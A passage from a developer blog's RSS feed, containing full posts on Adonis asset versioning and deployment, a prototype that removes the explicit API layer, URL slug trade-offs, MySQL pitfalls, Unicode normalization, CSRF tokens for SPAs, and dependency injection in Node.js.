            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Could not find asset for versioning'</span> + filename)
        }

        <span class="hljs-keyword">return</span> mixManifest[filename]
    })

    View.global(<span class="hljs-string">'versioncss'</span>, (filename) =&gt; {
        filename = <span class="hljs-string">`/css/<span class="hljs-subst">${filename}</span>.css`</span>
        <span class="hljs-keyword">if</span> (!mixManifest.hasOwnProperty(filename)) {
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Could not find asset for versioning'</span> + filename)
        }

        <span class="hljs-keyword">return</span> mixManifest[filename]
    })
})
</code></pre>
<p>This will create two global methods we can use in our view. Go to
<code>resources/assets/views/app.edge</code> and replace</p>
<pre class="hljs"><code>{{ script('/js/main.js') }}
</code></pre>
<p>with</p>
<pre class="hljs"><code>{{ script(versionjs('main')) }}
</code></pre>
<p>And that's all there is to cache busting.</p>
<h4 id="deployment">Deployment</h4>
<p>There is already <a href="https://scotch.io/tutorials/deploying-adonisjs-apps-to-heroku">an article</a> on deploying Adonis apps to Heroku. Because we are having our assets on the same project though, we have to add one or two things to make the deployment run smoothly. Add the following code under <code>scripts</code> inside <code>package.json</code></p>
<pre class="hljs"><code><span class="hljs-comment">// package.json</span>

<span class="hljs-string">"heroku-postbuild"</span>: <span class="hljs-string">"npm run assets-production"</span>
</code></pre>
<p>This tells Heroku to transpile our assets during deployment. If you are not using Heroku, other services probably offer similar solutions.</p>
<p><em><strong>In case the deployment fails...</strong></em></p>
<p>You might have to configure your Heroku app to also install dev dependencies. You can configure it by executing the following command</p>
<pre class="hljs"><code>heroku config:<span class="hljs-built_in">set</span> NPM_CONFIG_PRODUCTION=<span class="hljs-literal">false</span> YARN_PRODUCTION=<span class="hljs-literal">false</span>
</code></pre>
<p>Alternatively you can set the configurations on the Heroku website directly.</p>
<p>And that's all there is to it.</p>
<p>To skip all the setting up you can simply clone the demo repo with</p>
<pre class="hljs"><code>adonis new application-name --blueprint=MZanggl/adonis-vue-demo
</code></pre>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Good bye API layer. Uniting frontend and backend]]></title>
            <link>https://michaelzanggl.com/articles/bye-bye-api-layer/</link>
            <guid>bye-bye-api-layer</guid>
            <description><![CDATA[A prototype of how to seamlessly integrate frontend and backend code.]]></description>
            <content:encoded><![CDATA[<p>In my first job, besides web development, there was also this application written in PowerBuilder. A rather old restrictive language to create data-driven cruddy Windows applications...</p>
<p>One thing that stood out for me, however, was the ease in which to access the database. On the event listener of a button, you can simply access or write to the database (or <strong>directly</strong> call a dedicated service that would do so).</p>
<p>Here is an example of their demos to connect to the database on a button clicked event:</p>
<p><img src="http://infocenter.sybase.com/help/topic/com.sybase.infocenter.dc37772.1252/html/pbgs/pbc15w03.gif" alt="powerbuilder code"></p>
<p>yikes... But its ease of use is incredible!</p>
<p>Now let's look at the web. Backend and frontend are separate pieces. It doesn't matter how you look at it. If you have server driven applications, or an SPA that accesses your API, there is a clear separation.</p>
<p>You can't possibly have something like a database query running directly in the event listener of a button click. Well... What if I told you, it is both possible and secure to do so.</p>
<pre class="hljs"><code><span class="hljs-comment">// FRONTEND</span>
<span class="hljs-comment">// resources/js/main.js</span>

<span class="hljs-keyword">import</span> { getUser } <span class="hljs-keyword">from</span> <span class="hljs-string">'@/app/Actions/users.js'</span>

getUser(<span class="hljs-number">1</span>).then(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> {
  <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'app'</span>).innerHTML = <span class="hljs-built_in">JSON</span>.stringify(user)
})
</code></pre>
<pre class="hljs"><code><span class="hljs-comment">// BACKEND</span>
<span class="hljs-comment">// app/Actions/users.js</span>

<span class="hljs-keyword">import</span> User <span class="hljs-keyword">from</span> <span class="hljs-string">'@/app/Models/User'</span>

exports.getUser = <span class="hljs-keyword">async</span> (id) =&gt; {
  <span class="hljs-keyword">return</span> User.findOrFail(id)
}
</code></pre>
<x-ad />
<p>So a script on the frontend simply imports a function from the backend and calls it to get the user.</p>
<p>Not mindblowing? Okay, how about this?</p>
<pre class="hljs"><code><span class="hljs-comment">// FRONTEND</span>
<span class="hljs-comment">// resources/js/main.js</span>

<span class="hljs-keyword">import</span> { getUser } <span class="hljs-keyword">from</span> <span class="hljs-string">'@/app/Actions/users.php'</span>

getUser(<span class="hljs-number">1</span>).then(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> {
  <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'app'</span>).innerHTML = <span class="hljs-built_in">JSON</span>.stringify(user)
})
</code></pre>
<p>In case you missed it, pay close attention to this line:</p>
<p><code>import { getUser } from '@/app/Actions/users.php'</code></p>
<p>Let's zoom in some more: <code>'@/app/Actions/users.php'</code>. And some more <code>.php</code>.</p>
<p>Yes, the approach is not limited to Node.js but can work with possibly any backend language.</p>
<p>So what's going on? Obviously we got rid of the API layer, but how?</p>
<p>Well, honestly, we haven't, we just swept it under the carpet. That means when you call <code>getUser</code> it will still perform an ajax request to the server. There will still be an api route on the backend. But all of that boilerplate and dealing with HTTP is <strong>poof</strong> gone.</p>
<p>No more fetch requests to the backend, no more setting up API routes, no need for controllers. That means if you want to find out what the ajax request is doing, you no longer have to track down the routes file, go to the controller which again just goes to some service file. Just <code>(ctrl/cmd) + click</code> on the function. It's seamless.</p>
<h3 id="how-it-works">How it works</h3>
<p>It's surprisingly simple. A roughly 10 line webpack loader (could be rollup, TS, etc.) on the frontend that intercepts module resolution for files from the backend. Instead of importing the backend code, it will import a function that performs an HTTP request for you pointing to the correct route. At the same time, the backend will automatically create the JSON API for all files inside the &quot;actions&quot; folder. So you can still use the JSON API are you in need of a mobile app for example.</p>
<p>Check it out here if you want to give it a try: <a href="https://github.com/MZanggl/byebye-api-prototype">https://github.com/MZanggl/byebye-api-prototype</a>.</p>
<p>This is obviously still a prototype. But you might have seen something similar already in frameworks like Blitzjs.</p>
<hr>
<p>I also prepared an example with adonis.js on the backend and vue.js on the frontend to give a more real world example that also covers some more use cases like auth: <a href="https://github.com/MZanggl/adonis-vue-without-api">https://github.com/MZanggl/adonis-vue-without-api</a>.</p>
<p>This example does things a little differently. The backend generates the routes into a file that the frontend then makes use of for its fetch requests. This way, you don't need to write a language parser for each backend language and there is a single source of truth.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Clean URL slugs: The Good, the Bad, and the Ugly]]></title>
            <link>https://michaelzanggl.com/articles/clean-slugs-the-good-bad-and-ugly/</link>
            <guid>clean-slugs-the-good-bad-and-ugly</guid>
            <description><![CDATA[Clean URLs come with great benefits, who wouldn't want one? Well...]]></description>
            <content:encoded><![CDATA[<p>A slug is the last part of the URL and identifies a specific page. For example, on my blog, the slug of <a href="https://michaelzanggl.com/articles/clean-slugs-the-good-bad-and-ugly/">https://michaelzanggl.com/articles/clean-slugs-the-good-bad-and-ugly/</a> is &quot;clean-slugs-the-good-bad-and-ugly&quot;. This is a <code>clean URL</code> as opposed to something like &quot;<a href="https://michaelzanggl.com/articles/232">https://michaelzanggl.com/articles/232</a>&quot;.</p>
<h2 id="the-good">The Good</h2>
<p>As you can imagine this has some great benefits. It makes for a human-readable URL and is great for SEO.</p>
<p>I remember, years ago, back in the old YouTube, people would put random/funny words in the slug to find YouTube profiles under that name to chat or leave comments on their page. When the internet was still about discovery ❤️</p>
<x-ad />
<h2 id="the-bad">The Bad</h2>
<p>The good thing about IDs is that they don't change. This is not true for text. See for example:</p>
<ul>
<li>a GitHub repository: <a href="https://github.com/MZanggl/promistate">https://github.com/MZanggl/promistate</a></li>
<li>an article on <a href="http://dev.to">dev.to</a>: <a href="https://dev.to/michi/tailwind-css-for-skeptics-interactive-tailwind-css-tutorial-1h15">https://dev.to/michi/tailwind-css-for-skeptics-interactive-tailwind-css-tutorial-1h15</a></li>
</ul>
<p>They both contain two slugs. The username and the name of the repository/article.</p>
<p>But what happens if you change your username?</p>
<p>Well, GitHub has an entire article about the side effects: <a href="https://docs.github.com/en/github/setting-up-and-managing-your-github-user-account/changing-your-github-username">https://docs.github.com/en/github/setting-up-and-managing-your-github-user-account/changing-your-github-username</a></p>
<p>It says that the old username will be made available again for others to use. It goes on to say:</p>
<blockquote>
<p>&quot;
Web links to your existing repositories will continue to work.
...
If the new owner of your old username creates a repository with the same name as your repository, that will override &gt; the redirect entry and your redirect will stop working.
&quot;</p>
</blockquote>
<p>This, of course, has the potential to be exploited. If you forget to update only one link to a repo of yours in a blog post, package.json, or elsewhere, somebody can now claim that username, create a repository under the same name, and cause some pretty hefty damage under your name.</p>
<p><a href="http://dev.to">dev.to</a> also allows changing the username/title but leaves you in the dark with what will happen to the old handle and all the links associated with it.</p>
<p>An alternative way to use slugs is the way Reddit does. See the link for the following article: <a href="https://www.reddit.com/r/javascript/comments/i1zwek/nextjs_serverside_route_authentication_using/">https://www.reddit.com/r/javascript/comments/i1zwek/nextjs_serverside_route_authentication_using/</a> You can actually change the title in the link, and it would still work, as it still contains the ID.</p>
<h2 id="the-ugly">The Ugly</h2>
<p>Slugs might work great for English and languages that use the Roman script but look what happens when I copy the link from a product page from the Japanese Amazon store:</p>
<p><code>https://www.amazon.co.jp/Nintendo-Switch-%E3%83%8B%E3%83%B3%E3%83%86%E3%83%B3%E3%83%89%E3%83%BC%E3%82%B9%E3%82%A4%E3%83%83%E3%83%81-%E3%83%8D%E3%82%AA%E3%83%B3%E3%83%AC%E3%83%83%E3%83%89%E3%80%91-%E3%83%8B%E3%83%B3%E3%83%86%E3%83%B3%E3%83%89%E3%83%BCe%E3%82%B7%E3%83%A7%E3%83%83%E3%83%97%E3%81%A7%E3%81%A4%E3%81%8B%E3%81%88%E3%82%8B%E3%83%8B%E3%83%B3%E3%83%86%E3%83%B3%E3%83%89%E3%83%BC%E3%83%97%E3%83%AA%E3%83%9A%E3%82%A4%E3%83%89%E7%95%AA%E5%8F%B73000%E5%86%86%E5%88%86/dp/B07SVXHD1P/ref=sr_1_13?dchild=1&amp;keywords=switch&amp;qid=1596343204&amp;sr=8-13</code></p>
<p>Now imagine sending such a link on an app like WhatsApp where you just have a little space. It's quite the opposite of human-readable, how ironic.</p>
<p>Wait, but why is this happening in the first place?</p>
<p>An explanation as to why the browser returns you this encoded version of the link can be found <a href="https://stackoverflow.com/a/25865361">here</a>.</p>
<p>Let's confirm what is said by checking the request on the Amazon site's GET request:</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/i/e4rr6w69vecz5qdvxat4.png" alt="proof that browser is using URI"></p>
<p>I'm not an expert on this topic, but the reason why URI, instead of IRI, is still being used to this day might be due to exploits like the <a href="https://en.wikipedia.org/wiki/IDN_homograph_attack">IDN homograph attack</a>.</p>
<hr>
<p>While slugs do enhance UX, oftentimes it's only minor enhancement. We already have <a href="https://ogp.me/">open graph</a> to display title, description, image, etc. when sharing links. Sites like twitter use URL shorteners anyways. Referencing sites on Reddit, blog posts, news articles, etc. usually don't show the raw link, but provide alternative text, etc.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Now, slugs are still great. But it's not as simple as adding one to your website and you are done (unless you have total control over the content...).</p>
<p>If you plan to implement slugs into your website, make sure you</p>
<ul>
<li>Educate your users about what happens when you change content that is part of a slug</li>
<li>Only include URL-friendly characters</li>
</ul>
<p>I guess the gist of this post is that just because something looks simple in tech, it often comes with a lot of added complexity, and it's never as simple as &quot;just doing this one little thing&quot;. The YouTube video page works just fine with just an ID in the slug.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Common MySQL traps]]></title>
            <link>https://michaelzanggl.com/articles/common-mysql-traps/</link>
            <guid>common-mysql-traps</guid>
            <description><![CDATA[Exploring some common mistakes with using MySQL like how utf8 is actually not utf8.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>Note: Some of these might also exist in other database systems.</p>
</blockquote>
<h2 id="utf8-is-not-actually-utf8">utf8 is not actually utf8</h2>
<p>Ever ran into this SQL exception? <code>Incorrect string value: ‘\xF0\x9F\x98\x83 &lt;…’ for column...</code></p>
<p>You probably ran into the same trap as many others. Turns out mySQL's utf8 charset can only store around 6% of all possible unicode code points. This also excludes emoticons for example.</p>
<pre class="hljs"><code><span class="hljs-keyword">insert</span> <span class="hljs-keyword">into</span> emails(<span class="hljs-keyword">body</span>) <span class="hljs-keyword">values</span> (<span class="hljs-string">'🦄🦄🦄'</span>);
</code></pre>
<p>That's why you should use <code>utf8mb4</code> instead.</p>
<p>Read more about it and how to migrate: <a href="https://mathiasbynens.be/notes/mysql-utf8mb4">https://mathiasbynens.be/notes/mysql-utf8mb4</a></p>
<x-ad />
<h2 id="comparing-varchar_field-with-false-or-0">comparing <code>varchar_field</code> with <code>false</code> or 0</h2>
<p>Imagine the following contrived example</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">normalizeEmail</span>(<span class="hljs-params">email</span>) </span>{
    <span class="hljs-keyword">if</span> (!validate(email)) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
    }

    <span class="hljs-keyword">return</span> normalize(email)
}

<span class="hljs-comment">// somewhere in the code</span>
<span class="hljs-keyword">await</span> User.where(<span class="hljs-string">'email'</span>, normalizeEmail(email)).first()
</code></pre>
<p>The imaginary ORM would execute the query <code>select * from users where email = &lt;prepared value&gt; LIMIT 1</code></p>
<p>If the validation inside <code>normalizeEmail</code> was successful, the query would be <code>select * from users where email = 'normalized.email@test.com' LIMIT 1</code>.</p>
<p>If the validation was not successful, the query would be <code>select * from users where email = false LIMIT 1</code>.</p>
<p>Now go ahead and run something like <code>select * from users where &lt;varchar field&gt; = false</code> in your database system.</p>
<p>Since the fields are not comparable, MySQL will convert one to the other, make them match and return you all users. Our ORM will simply pick the first user and continue the logic with that. 😬 Pretty dangerous.</p>
<blockquote>
<p>The same happens with <code>field = 0</code></p>
</blockquote>
<h2 id="insert-on-duplicate-key-update-creates-primary-key-holes"><code>insert on duplicate key update</code> creates primary key holes</h2>
<p>Imagine we have a table <code>statistics</code> with the columns <code>id</code>(AI), <code>fkid</code>, <code>title</code>.</p>
<pre class="hljs"><code><span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> <span class="hljs-keyword">statistics</span> (fkid, title) <span class="hljs-keyword">VALUES</span> (<span class="hljs-number">1</span>, <span class="hljs-string">'first'</span>);
</code></pre>
<p>This will insert a new record with the <code>id</code> 1. Let's imagine there is some batch which always inserts or updates the title. It might execute the following queries over some time:</p>
<pre class="hljs"><code><span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> <span class="hljs-keyword">statistics</span> (fkid, title) <span class="hljs-keyword">VALUES</span> (<span class="hljs-number">1</span>, <span class="hljs-string">'second'</span>) <span class="hljs-keyword">ON</span> <span class="hljs-keyword">DUPLICATE</span> <span class="hljs-keyword">KEY</span> <span class="hljs-keyword">UPDATE</span> title = <span class="hljs-string">'second'</span>;
<span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> <span class="hljs-keyword">statistics</span> (fkid, title) <span class="hljs-keyword">VALUES</span> (<span class="hljs-number">1</span>, <span class="hljs-string">'third'</span>) <span class="hljs-keyword">ON</span> <span class="hljs-keyword">DUPLICATE</span> <span class="hljs-keyword">KEY</span> <span class="hljs-keyword">UPDATE</span> title = <span class="hljs-string">'third'</span>;
<span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> <span class="hljs-keyword">statistics</span> (fkid, title) <span class="hljs-keyword">VALUES</span> (<span class="hljs-number">1</span>, <span class="hljs-string">'fourth'</span>) <span class="hljs-keyword">ON</span> <span class="hljs-keyword">DUPLICATE</span> <span class="hljs-keyword">KEY</span> <span class="hljs-keyword">UPDATE</span> title = <span class="hljs-string">'fourth'</span>;
</code></pre>
<p>Finally we want to insert a record with a new fkid.</p>
<pre class="hljs"><code><span class="hljs-keyword">INSERT</span> <span class="hljs-keyword">INTO</span> <span class="hljs-keyword">statistics</span> (fkid, title) <span class="hljs-keyword">VALUES</span> (<span class="hljs-number">100</span>, <span class="hljs-string">'first'</span>) <span class="hljs-keyword">ON</span> <span class="hljs-keyword">DUPLICATE</span> <span class="hljs-keyword">KEY</span> <span class="hljs-keyword">UPDATE</span> title = <span class="hljs-string">'first'</span>;
</code></pre>
<p>This inserts a new record in the table, but guess what the <code>id</code> is? You'd might expect it to be 2, but in reality, everytime <code>insert on duplicate key update</code> failed to insert and processed the <code>update</code>, it incremented the auto increment internally. That means the <code>id</code> of this record would be 5.</p>
<p>It's not too important that the IDs are really sequential, but you might wonder what's the cause of it.</p>
<p>Read more about it: <a href="https://stackoverflow.com/questions/38347110/prevent-innodb-auto-increment-on-duplicate-key">https://stackoverflow.com/questions/38347110/prevent-innodb-auto-increment-on-duplicate-key</a></p>
<h2 id="int2-is-not-what-you-think-it-means">int(2) is not what you think it means</h2>
<p>The length on INTs have no real meaning in MySQL, you can still insert values like 9999999. They only restrict how many characters should be displayed in the command line client. 🤨</p>
<p>Read more about it: <a href="https://stackoverflow.com/questions/5634104/what-is-the-size-of-column-of-int11-in-mysql-in-bytes">https://stackoverflow.com/questions/5634104/what-is-the-size-of-column-of-int11-in-mysql-in-bytes</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Comparing strings - What can go wrong #unicode]]></title>
            <link>https://michaelzanggl.com/articles/comparing-strings/</link>
            <guid>comparing-strings</guid>
            <description><![CDATA[What can go wrong with one of the most basic things in programming - lots.]]></description>
            <content:encoded><![CDATA[<h3 id="experiment">Experiment</h3>
<p>For this experiment, please have a mac ready and open this sandbox: <a href="https://codesandbox.io/s/string-comparison-unicode-bl9q7">https://codesandbox.io/s/string-comparison-unicode-bl9q7</a>.</p>
<p>Create a file with the same name as the variable <code>NAME_FILE_LIKE_THIS</code> (Jalapeño.txt) and upload it to the sandbox. The <code>onChange</code> event gets triggered and the uploaded file name is logged to the console and compared with the variable.</p>
<p>Now, you would assume they match. It clearly logs &quot;Jalapeño.txt&quot;. And on Windows, they do match. But on Macs, they don't...</p>
<p>Why? To first understand what's happening, spread out the variable &quot;name&quot; like this in the onChange event: <code>console.log(...name)</code>.</p>
<p>The result is: <code>J a l a p e n ̃ o . t x t</code>. The ñ got split into two characters!</p>
<p>You can observe similar behavior with Japanese words like &quot;プりん&quot;, or any word that contains diacritics.</p>
<hr>
<h3 id="whats-happening%3F">What's happening?</h3>
<p>There are two ways to represent unicode characters. Precomposed (ñ), which is the default when you type, and decomposed (n + diacritic). When you upload a file on Macs, it turns the filename into the decomposed version.</p>
<x-ad />
<h3 id="whats-the-fix%3F">What's the fix?</h3>
<p>You can turn a string into both its precomposed as well as decomposed representation using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/normalize">string.normalize</a>.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> decomposed = [...<span class="hljs-string">'Jalapeño'</span>.normalize(<span class="hljs-string">'NFD'</span>)]
<span class="hljs-comment">// (9) ['J', 'a', 'l', 'a', 'p', 'e', 'n', '̃', 'o']</span>

<span class="hljs-keyword">const</span> precomposedAgain = [...decomposed.join(<span class="hljs-string">''</span>).normalize()]
<span class="hljs-comment">// (8) ['J', 'a', 'l', 'a', 'p', 'e', 'ñ', 'o']</span>
</code></pre>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CSRF tokens for SPAs]]></title>
            <link>https://michaelzanggl.com/articles/csrf-tokens-for-spas/</link>
            <guid>csrf-tokens-for-spas</guid>
            <description><![CDATA[Demonstrating two approaches to set up CSRF tokens for SPAs]]></description>
            <content:encoded><![CDATA[<p>In the previous post, we discussed CORS, CSRF tokens, SameSite, clickjacking and JSON hijacking. With all that preparation, we can finally answer the question if CSRF tokens can be used in a SPA, or not?.</p>
<p>If you paid good attention to the previous article, you might already know the answer. Yes! But there are some things we have to be careful of. Also, how would you set it up?</p>
<x-ad />
<h2 id="setup">Setup</h2>
<p>This article assumes you already have a backend that provides a CSRF token solution.</p>
<p>There is actually more than one way to set this up, depending on what your backend's CSRF token solution offers, I will introduce two approaches.</p>
<h3 id="approach-1-a-cookie">Approach 1: A cookie</h3>
<ol>
<li>The client initializes CSRF protection by calling an endpoint on the API server that sets a cookie with httpOnly set to false holding the CSRF token</li>
<li>For subsequent API requests, the client grabs the cookie from <code>document.cookie</code>, and passes it to the request (usually in the header under &quot;X-CSRF-TOKEN&quot;)</li>
<li>With each API request, the API server updates the cookie with a fresh token.</li>
</ol>
<p>For the API server to place a cookie that the client can read, the SPA and the API server have to be on the same domain.</p>
<h3 id="approach-2-an-api-endpoint">Approach 2: An API endpoint</h3>
<ol>
<li>The backend needs to provide an API endpoint (e.g. <code>/csrf</code>) that returns a CSRF token</li>
<li>The client calls this endpoint to get their token</li>
<li>The CSRF token is then passed into each subsequent API request similar to approach 1</li>
</ol>
<p>This approach works also if SPA and API are on a different domain.</p>
<h4 id="%F0%9F%A4%94-when-should-the-client-get-a-new-csrf-token%3F">🤔 When should the client get a new CSRF token?</h4>
<p>There are a few options:</p>
<ul>
<li>Grab a new token each time before making a request by calling &quot;/csrf&quot; again</li>
<li>Make the backend return a new token as part of every API response, and make the client use it for the next request</li>
</ul>
<h4 id="%F0%9F%A4%94-how-is-the-csrf-token-endpoint-secured%3F">🤔 How is the CSRF token endpoint secured?</h4>
<ul>
<li>The API server <strong>must</strong> have CORS set to allow only trusted sites like the SPA. This is to prevent third-party AJAX requests from getting hold of a CSRF token that works for you.</li>
<li>The endpoint's response must not be JSON hijackable. <code>{ token: 'xxx' }</code> will do.</li>
</ul>
<h4 id="%F0%9F%A4%94-can-an-attacker-not-just-call-the-csrf-endpoint-from-a-server%2C-where-cors-doesnt-apply%3F">🤔 Can an attacker not just call the &quot;/csrf&quot; endpoint from a server, where CORS doesn't apply?</h4>
<p>This question was actually covered in my previous article, not for API endpoints, but for grabbing a CSRF token from a form in the HTML.</p>
<p>But it's the same story: CSRF tokens are typically bound to the user's session, so <strong>your</strong> CSRF tokens won't work for <strong>me</strong>.</p>
<hr>
<p>Finally, depending on the solution you pick, and your backend setup, you might have to add logic to handle token expiry. For example, by redirecting to the login page when receiving a 401 or 419 status.</p>
<p>Next time, let's see how auth cookies should be secured.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying Dependency Injection, Inversion of Control, Service Containers and Service Providers]]></title>
            <link>https://michaelzanggl.com/articles/demystifying-dependency-injection/</link>
            <guid>demystifying-dependency-injection</guid>
            <description><![CDATA[It's really quite simple.]]></description>
            <content:encoded><![CDATA[<p>This article is meant to demystify those scary terms DI and IoC. We are going to code this in a node environment.
Imagine having the following code</p>
<pre class="hljs"><code><span class="hljs-comment">// index.js</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Database</span> </span>{
    insert(table, attributes) {
        <span class="hljs-comment">// inserts record in database</span>
        <span class="hljs-comment">// ...</span>

        <span class="hljs-keyword">const</span> isSuccessful = <span class="hljs-literal">true</span>
        <span class="hljs-keyword">return</span> isSuccessful
    }
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">UserService</span> </span>{
    create(user) {
        <span class="hljs-comment">// do a lot of validation etc.</span>
        <span class="hljs-comment">// ...</span>

        <span class="hljs-keyword">const</span> db = <span class="hljs-keyword">new</span> Database
        <span class="hljs-keyword">return</span> db.insert(<span class="hljs-string">'users'</span>, user)
    }
}

<span class="hljs-keyword">const</span> userService = <span class="hljs-keyword">new</span> UserService
<span class="hljs-keyword">const</span> result = userService.create({ <span class="hljs-attr">id</span>: <span class="hljs-number">1</span>})
<span class="hljs-built_in">console</span>.log(result)
</code></pre>
<p>Running <code>node index.js</code> should now log the value &quot;true&quot;.</p>
<x-ad />
<p>What is happening in the code? There is a Database class used to save things into the database and a UserService class used to create users. The users are going to be saved in the database, so when we create a new user, we new up an instance of Database. In other words, UserService is dependent on Database. Or, Database is a dependency of UserService.</p>
<p>And here comes the problem. What if we were to write tests to check the part <code>// do a lot of validation etc.</code>. We need to write a total of 10 tests for various scenarios. In all of these tests, do we really want to insert users into the database? I don't think so. We don't even care about this part of the code. So it would be nice if it was possible to swap out the database with a fake one when running tests.</p>
<h1 id="dependency-injection">Dependency Injection</h1>
<p>Enter dependency injection. It sounds very fancy, but in reality is super simple. Rather than newing up the Database instance inside the &quot;create&quot; method, we inject it into the UserService like this.</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Database</span> </span>{
    insert(table, attributes) {
        <span class="hljs-comment">// inserts record in database</span>
        <span class="hljs-keyword">const</span> isSuccessful = <span class="hljs-literal">true</span>
        <span class="hljs-keyword">return</span> isSuccessful
    }
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">UserService</span> </span>{
    <span class="hljs-keyword">constructor</span>(db) {
        <span class="hljs-keyword">this</span>.db = db
    }

    create(user) {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.db.insert(<span class="hljs-string">'users'</span>, user)
    }
}

<span class="hljs-keyword">const</span> db = <span class="hljs-keyword">new</span> Database
<span class="hljs-keyword">const</span> userService = <span class="hljs-keyword">new</span> UserService(db)

<span class="hljs-keyword">const</span> result = userService.create({ <span class="hljs-attr">id</span>: <span class="hljs-number">1</span>})
<span class="hljs-built_in">console</span>.log(result)
</code></pre>
<p>And the test could look something like this</p>
<pre class="hljs"><code>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TestableDatabase</span> </span>{
    insert() {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
    }
}


<span class="hljs-keyword">const</span> db = <span class="hljs-keyword">new</span> TestableDatabase
<span class="hljs-keyword">const</span> userService = <span class="hljs-keyword">new</span> UserService(db)
</code></pre>
<p>But of course, I hear what you saying. While we made the code testable, the API suffered from it. It's annoying to always pass in an instance of Database.</p>
<h1 id="inversion-of-control">Inversion of Control</h1>
<p>Enter Inversion of Control. Its job is to resolve dependencies for you.</p>
<p>It looks like this: At the start of the app you bind the instantiation to a key and use that later at any point.</p>
<p>Before we check out the code of our IoC container (also called <strong>service container</strong>), let's look at the usage first.</p>
<pre class="hljs"><code>ioc.bind(<span class="hljs-string">'userService'</span>, () =&gt; <span class="hljs-keyword">new</span> UserService(<span class="hljs-keyword">new</span> Database))
</code></pre>
<p>Now you can use ioc.use at any point in your app to access the userService.</p>
<pre class="hljs"><code>ioc.use(<span class="hljs-string">'userService'</span>).create({ <span class="hljs-attr">id</span>: <span class="hljs-number">1</span>})
</code></pre>
<p>Whenever you call <code>ioc.use('userService')</code>, it will create a new instance of UserService, basically executing the callback of the second function. If you prefer to always access the same instance, use app.singleton instead of app.bind.</p>
<pre class="hljs"><code>ioc.singleton(<span class="hljs-string">'userService'</span>, () =&gt; <span class="hljs-keyword">new</span> UserService(<span class="hljs-keyword">new</span> Database))

ioc.use(<span class="hljs-string">'userService'</span>).create({ <span class="hljs-attr">id</span>: <span class="hljs-number">1</span>})
</code></pre>
<h2 id="implementation-of-ioc">Implementation of ioc</h2>
<pre class="hljs"><code>global.ioc = {
    <span class="hljs-attr">container</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>,
    bind(key, callback) {
        <span class="hljs-keyword">this</span>.container.set(key, {callback, <span class="hljs-attr">singleton</span>: <span class="hljs-literal">false</span>})
    },
    singleton(key, callback) {
        <span class="hljs-keyword">this</span>.container.set(key, {callback, <span class="hljs-attr">singleton</span>: <span class="hljs-literal">true</span>})
    },
    use(key) {
        <span class="hljs-keyword">const</span> item = <span class="hljs-keyword">this</span>.container.get(key)

        <span class="hljs-keyword">if</span> (!item) {
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'item not in ioc container'</span>)
        }
        
        <span class="hljs-keyword">if</span> (item.singleton &amp;&amp; !item.instance) {
            item.instance = item.callback()
        }

        <span class="hljs-keyword">return</span> item.singleton ? item.instance : item.callback()
    },
}
</code></pre>
<p>That's not a lot of code at all!
so the methods <code>bind</code> and <code>singleton</code> just store the key and callback inside a map and with the <code>use</code> method, we get what we want from the container again.
We also make <code>ioc</code> a global variable so it is accessible from anywhere.</p>
<p>But where do we put all those ioc bindings?</p>
<h2 id="service-providers">Service Providers</h2>
<p>Enter the service provider. Another fancy term simply meaning &quot;This is where we bind our stuff in the service container&quot;. This can be as simple as having</p>
<pre class="hljs"><code><span class="hljs-comment">// providers/AppProvider.js</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">register</span>(<span class="hljs-params"></span>) </span>{
    ioc.singleton(<span class="hljs-string">'userService'</span>, () =&gt; <span class="hljs-keyword">new</span> UserService(<span class="hljs-keyword">new</span> Database))
}

<span class="hljs-built_in">module</span>.exports = { register }
</code></pre>
<p>The register method of the provider is then simply executed at the start of your app.</p>
<h2 id="testing">Testing</h2>
<p>How do we test it now?</p>
<p>Well, in our test we can simply override the userService in the service container.</p>
<pre class="hljs"><code>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TestableDatabase</span> </span>{
    create() {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
    }
}


ioc.singleton(<span class="hljs-string">'userService'</span>, () =&gt; <span class="hljs-keyword">new</span> UserService(<span class="hljs-keyword">new</span> TestableDatabase))

ioc.use(<span class="hljs-string">'userService'</span>).create({<span class="hljs-attr">id</span>: <span class="hljs-number">1</span>})
</code></pre>
